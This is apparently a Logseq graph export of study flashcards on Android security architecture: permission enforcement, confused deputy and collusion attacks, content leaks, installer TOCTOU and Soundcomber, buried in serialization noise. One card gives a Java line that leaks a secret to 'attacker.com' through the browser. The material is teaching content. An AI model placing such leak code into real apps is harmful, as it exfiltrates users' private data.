Linux Kernel #card #security-architecturelogseq____&quot;,536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874038]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Flogseq____&quot;,478,536874045]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Xlogseq____&quot;,354,536874038]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Vlogseq____&quot;,354,536874045]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Hlogseq____&quot;,2,536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Hlogseq____&quot;,38,536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98fbf-647f-49c9-b694-5cc32e9782dblogseq____&quot;,536874038]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Certain actions are communicated to the kernel directly, e.g., `syscall` for physical resourceslogseq____&quot;,536874082]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874055]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Flogseq____&quot;,523,536874055]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Xlogseq____&quot;,354,536874055]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Vlogseq____&quot;,523,536874061]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874082]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98fcd-c886-4e73-b17e-65936cfabedblogseq____&quot;,536874055]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Handled via `GID` app gets added to groups on installlogseq____&quot;,536874102]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874082]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Flogseq____&quot;,524,536874082]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Xlogseq____&quot;,354,536874082]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Vlogseq____&quot;,523,536874082]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874102]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98fec-fd50-438c-883d-06d063298efblogseq____&quot;,536874082]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Kernel errors are then translated to Java `SecurityException`s by core librarieslogseq____&quot;,536874121]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874105]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Flogseq____&quot;,525,536874105]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Xlogseq____&quot;,354,536874105]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Vlogseq____&quot;,523,536874105]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874121]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99014-f6a4-4dd4-ae5f-0ed4677e2e4alogseq____&quot;,536874105]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;No *delegation* or *revocation* in Kernel (requires APP restarts)logseq____&quot;,536874153]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874124]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Flogseq____&quot;,526,536874124]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Xlogseq____&quot;,354,536874124]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Vlogseq____&quot;,523,536874124]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874153]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b990b5-d413-4ee4-a2d4-a95a13718250logseq____&quot;,536874124]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Confused Deputy Attack #card #security-architecturelogseq____&quot;,536874655]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874157]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Flogseq____&quot;,523,536874161]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Xlogseq____&quot;,354,536874157]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Vlogseq____&quot;,354,536874161]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874655]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874655]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Hlogseq____&quot;,2,536874655]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Hlogseq____&quot;,38,536874655]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____&quot;,536874157]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Fool privileged app into misusing its privilegeslogseq____&quot;,536874219]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874183]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Flogseq____&quot;,528,536874183]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Xlogseq____&quot;,354,536874183]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Vlogseq____&quot;,528,536874185]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874219]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9917d-b9b8-4ba9-9c8a-0af397ccef84logseq____&quot;,536874183]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Misuse browser for internet accesslogseq____&quot;,536874235]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874219]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Flogseq____&quot;,529,536874219]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Xlogseq____&quot;,354,536874219]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Vlogseq____&quot;,528,536874219]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874235]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874235]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99199-6662-40d9-b0f7-2e6d248f94bclogseq____&quot;,536874219]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Leak: `startActivity(new Intent(Intent.ActionView, Uri.parse(\\logseq____&quot;https://attacker.com/data?secret=\\logseq____&quot; + secret)));`logseq____&quot;,536874298]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874235]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Flogseq____&quot;,530,536874235]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Xlogseq____&quot;,354,536874235]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Vlogseq____&quot;,530,536874239]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874298]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b991a8-6504-41d2-b7aa-ad2471d16f4clogseq____&quot;,536874235]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Receive: Define intent filter, such that browser will open attacker app `nethack:data?param=server_data`logseq____&quot;,536874326]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874298]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Flogseq____&quot;,531,536874298]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Xlogseq____&quot;,354,536874298]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Vlogseq____&quot;,530,536874298]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874326]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b991d6-f311-4497-9d06-96801872db8blogseq____&quot;,536874298]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Passive Content Leakslogseq____&quot;,536874339]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874327]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Flogseq____&quot;,530,536874420]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Xlogseq____&quot;,354,536874327]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Vlogseq____&quot;,528,536874420]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874339]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874339]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99205-2a6e-4d6f-982f-2ca3a32ab997logseq____&quot;,536874327]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Study revealed 2% of analyzed apps leak sensitive data, via SMS messages, contacts, user credentials etc.logseq____&quot;,536874379]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874339]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Flogseq____&quot;,533,536874339]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Xlogseq____&quot;,354,536874339]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Vlogseq____&quot;,533,536874341]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874379]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9921b-abeb-4b60-8c74-5f0d2120a978logseq____&quot;,536874339]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;1.4% of apps allowed for content pollution (injecting data triggers privileged functionality)logseq____&quot;,536874437]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874382]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Flogseq____&quot;,534,536874382]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Xlogseq____&quot;,354,536874382]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Vlogseq____&quot;,533,536874382]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874437]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99273-2aa0-4841-aa2e-cd917e0371a8logseq____&quot;,536874382]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Collusion Attacks #card #security-architecturelogseq____&quot;,536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874392]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Flogseq____&quot;,528,536874412]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Xlogseq____&quot;,354,536874392]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Vlogseq____&quot;,354,536874412]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Hlogseq____&quot;,2,536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Hlogseq____&quot;,38,536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9928d-f769-4958-8aba-8614313e616flogseq____&quot;,536874392]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Malicious Apps collude to merge their permissionslogseq____&quot;,536874610]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874424]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Flogseq____&quot;,536,536874424]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Xlogseq____&quot;,354,536874424]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Vlogseq____&quot;,536,536874428]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874610]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b992ae-9630-4444-b65b-12ac442e5232logseq____&quot;,536874424]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Unauthorized Installslogseq____&quot;,536874513]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874440]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Flogseq____&quot;,533,536874442]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Xlogseq____&quot;,354,536874440]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Vlogseq____&quot;,528,536874442]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874513]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874513]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b992d6-768c-4d0a-b7eb-8b556d65b3f2logseq____&quot;,536874440]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Third party app installers often store APKs on external storagelogseq____&quot;,536874463]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874447]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Flogseq____&quot;,538,536874447]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Xlogseq____&quot;,354,536874447]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Vlogseq____&quot;,538,536874449]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874463]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b992dc-9d5e-465a-a53e-2438abba83c9logseq____&quot;,536874447]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Malicious apps may place/overwrite APK files tricking the installer into installing malicious APKs (TOCTOU vulnerablitiy)logseq____&quot;,536874500]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874463]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Flogseq____&quot;,539,536874463]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Xlogseq____&quot;,354,536874463]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Vlogseq____&quot;,538,536874463]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874500]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b992ed-6453-49f8-9312-a6b6d739a675logseq____&quot;,536874463]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### System Serviceslogseq____&quot;,536874520]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874503]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Flogseq____&quot;,538,536874507]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Xlogseq____&quot;,354,536874503]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Vlogseq____&quot;,528,536874507]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874520]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874520]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b993ea-36fc-4b97-ad50-6ddbcf96b8belogseq____&quot;,536874503]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Calling a system service has a side-effect onto another system servicelogseq____&quot;,536874539]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874520]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Flogseq____&quot;,541,536874520]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Xlogseq____&quot;,354,536874520]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Vlogseq____&quot;,541,536874522]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874539]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b993f7-5625-405c-b62a-de7b94af2661logseq____&quot;,536874520]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;ContentProvider checks callers permissions (`getCallingUid`), but ActivityManagerService could be misused to call `openFile` of ContentProvider with system privilegeslogseq____&quot;,536874598]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874540]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Flogseq____&quot;,542,536874540]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Xlogseq____&quot;,354,536874540]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Vlogseq____&quot;,541,536874540]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874598]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99411-e3ca-4891-8c65-7923841413a8logseq____&quot;,536874540]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Soundcomberlogseq____&quot;,536874614]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874610]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Flogseq____&quot;,537,536874610]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Xlogseq____&quot;,354,536874610]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Vlogseq____&quot;,536,536874610]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874614]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874614]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b994bc-78b4-44fd-a8bc-da76f41eab8blogseq____&quot;,536874610]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App A(Internet) and App (B) voice extracted credit card number form 